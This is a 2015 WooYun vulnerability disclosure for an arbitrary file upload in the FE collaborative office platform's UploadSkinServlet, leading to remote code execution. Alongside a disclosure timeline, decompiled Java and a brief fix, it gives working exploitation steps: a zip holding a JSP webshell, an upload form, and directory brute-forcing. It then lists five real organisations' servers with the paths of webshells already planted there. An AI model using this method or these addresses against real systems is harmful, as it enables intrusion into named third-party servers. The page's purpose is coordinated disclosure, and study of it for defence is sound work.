当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115497

漏洞标题:FE协作办公平台任意文件上传GETSHELL

相关厂商:珠海飞企软件有限公司

漏洞作者: sex is not show

提交时间:2015-05-22 14:51

修复时间:2015-08-24 13:38

公开时间:2015-08-24 13:38

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-22: 细节已通知厂商并且等待厂商处理中
2015-05-26: 厂商已经确认,细节仅向厂商公开
2015-05-29: 细节向第三方安全合作伙伴开放
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开

简要描述:

RT

详细说明:

程序名称:FE协作办公平台
漏洞类型:任意文件上传导致代码执行
漏洞文件:/servlet/UploadSkinServlet (上传风格)
影响版本:FE5.5.2及以下版本
代码片段分析;

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
response.setContentType("application/json;charset=UTF-8");
String paraStr = "sucess";
String serverPath = getServletConfig().getServletContext().getRealPath("");
String savePath = serverPath + File.separator + "login" + File.separator + "temp" + File.separator;
String skinPath = serverPath + File.separator + "login" + File.separator + "theme" + File.separator; //这里是解压的路径,后面用到
try
{
File pathDir = new File(savePath);
if (!pathDir.exists())
{
pathDir.mkdirs();
}
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(4096);
factory.setRepository(pathDir);
ServletFileUpload load = new ServletFileUpload(factory);
List items = load.parseRequest(request);
Iterator i = items.iterator();
while (i.hasNext())
{
FileItem fi = (FileItem)i.next();
String fileName = fi.getName();
if (fileName != null)
{
File savedFile = new File(savePath + File.separator + "tempskin.zip");
fi.write(savedFile);
}
}
int stuats = FileForLoginUtil.unzip(savePath + File.separator + "tempskin.zip", skinPath);//这里解压压缩目录,后面继续跟踪
if (stuats < 0)
{
paraStr = "上传的不是一个合法的主题包";
}
else if (stuats == 1)
{
paraStr = "上传的风格名已经存在,请修改config.xml的title";
}
else if (stuats == 2)
{
paraStr = "上传的风格名不能为空,请修改config.xml的title";
}
......


跟踪到FileForLoginUtil.unzip()方法:

public static int unzip(String zipFileName, String extDirectory)
throws IOException
{
ZipFile zipFile = null;
InputStream in = null;
OutputStream out = null;
int stuats = -1;
String tempExt = extDirectory;
try
{
zipFile = new ZipFile(new File(zipFileName));
Enumeration enumeration = zipFile.getEntries();
ZipEntry zipEntry = null;
boolean flag = true;
do
{
int random = new Random().nextInt(100); //这里生成随机数,拼接在目录后面
if (random >= 10)
{
File skin = new File(extDirectory + "skin" + random);
if (!skin.exists())
{
extDirectory = extDirectory + "skin" + random;
flag = false;
}
}
}
while (
flag);
......


其他地方就是解压到目录里,其中,上传的压缩文件要包含config.xml文件,文件中要有title节点,并且title不是已存在的目录文件名
config.xml:

<?xml version="1.0" encoding="utf-8"?>
<root>
<title>
wooyun
</title>
</root>


利用方式:
打包好压缩文件(config.xml、[webshell]index.jsp),因为index.jsp不受权限控制,所以打包时注意一下,然后本地构造上传就行了
本地构造:

<form id="form1" name="form1" action="http://xxxx/servlet/UploadSkinServlet" method="post" enctype ="multipart/form-data">
<input type="file" name="File1"/>
<input type="submit" value="go">
</form>


实例1:
http://oa.hzuf.com:9090/servlet/UploadSkinServlet
上传后用burp跑下目录,login/theme/skin[10-99]/index.jsp

1.jpg


shell地址:http://oa.hzuf.com:9090/login/theme/skin50/index.jsp

1.jpg


实例2:
http://oa.ztcz.cn/servlet/UploadSkinServlet
shell地址:http://oa.ztcz.cn/login/theme/skin94/index.jsp
实例3:
http://oa.peizheng.net.cn/servlet/UploadSkinServlet
shell地址:http://oa.peizheng.net.cn/login/theme/skin35/index.jsp
实例4:
http://fm.eyesoffice.com:9090/servlet/UploadSkinServlet
shell地址:http://fm.eyesoffice.com:9090/login/theme/skin85/index.jsp
实例5:
http://www.gzpiano.com/servlet/UploadSkinServlet
shell地址:http://www.gzpiano.com/login/theme/skin42/index.jsp

漏洞证明:

1.jpg

修复方案:

上传功能做权限控制,限定目录内的文件类型

版权声明:转载请注明来源 sex is not show@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-05-26 13:36

厂商回复:

CNVD确认所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无